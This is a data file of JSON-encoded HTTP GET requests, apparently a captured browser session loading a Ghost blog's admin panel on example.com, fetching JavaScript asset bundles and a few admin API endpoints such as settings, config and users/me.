{"method": "GET", "target": "/ghost/assets/star-Bpul5S_D.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sticky-note-DU9c-Ra1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/store-B_Ejpv31.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/table-of-contents-sPKkwCn4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tag-C6OB2BXE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tags-ConC9hg-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/text-align-start-CnvG6LkS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/thumbs-down-x3lSinKl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/thumbs-up-B1AHlahq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trash-2-yhtPWCHA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trash-CuY-N3o6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trending-down-DF5-DLrU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trending-up-ZeqNsItu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/triangle-alert-C2nVQPSI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/type-DMVGYbHH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/undo-2-FoBfGQWM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/unlink-U-Rg6HnP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/upload-C-uMUf3q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-plus-Da4UvDKo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-round-check-fQqHvyjW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-round-x-DC7feApp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-round-Tvyl-lTH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-BPjbwN-J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/users-B8l6egb_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/wallet-cards-DjKzv_P3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/webhook-BDtpHv94.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/x-D9mfak9O.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/zap-HzBi1coK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/icons-ClwlmWSu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-ChMehFmm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/alert-dialog-fhP2wZq3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/avatar-BMfooKMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/badge-DMeVfVsR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/banner-E48MJePb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dialog-Dgn8NUEz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/overlay-escape-Zs8Fgpfg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-D-0IA9lC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dropdown-menu-C28h_ytx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/empty-indicator-meoabaL0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/separator-BK1H909V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/input-surface-iQhmm6Kt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/input-QTg0yKue.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/input-group-D4AIf997.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/kbd-Bbi4Nkkp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sheet-CCNUcK2Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-mobile-BD7lg4t-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sticky-footer-nkSt2z_Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/large-page-title-Ji9icfTU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/custom-theme-settings-D2WGaIc_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/themes-DSPpuTUn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-loading-Dxi0iRq5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/iso-_B9XaeWP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-preferences-B0PbfB0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/site-uZuXd-v3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/reload-Ct6s_xiO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/admin-link-CP2k2nca.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tags-CP6OL-4x.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/posts-ANvOkryA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/command-B3vdhO98.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/popover-DRRhIsW0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/multi-select-combobox-BgzCpWMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/index.module-CXVVhCXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pages-CSQSKI6V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tiers-KrkVJjTT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/label-picker-CHocWit1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/shared-views-av3Cu3au.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/api-o_yGTaqZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/koenig-loader-Cc2OMiDU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/editor-loading-B2j1keaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/constants-CbfF6lyS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/moment-timezone-D5Us53JJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/logo-loader-88VPEpXE.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Range: bytes=0-"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/me/?include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/settings/?group=site%2Ctheme%2Cprivate%2Cmembers%2Cportal%2Cnewsletter%2Cemail%2Clabs%2Cslack%2Cunsplash%2Cviews%2Cfirstpromoter%2Ceditor%2Ccomments%2Canalytics%2Cannouncement%2Cpintura%2Cdonations%2Csecurity%2Csocial_web%2Cexplore%2Ctransistor", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/site/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/config/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
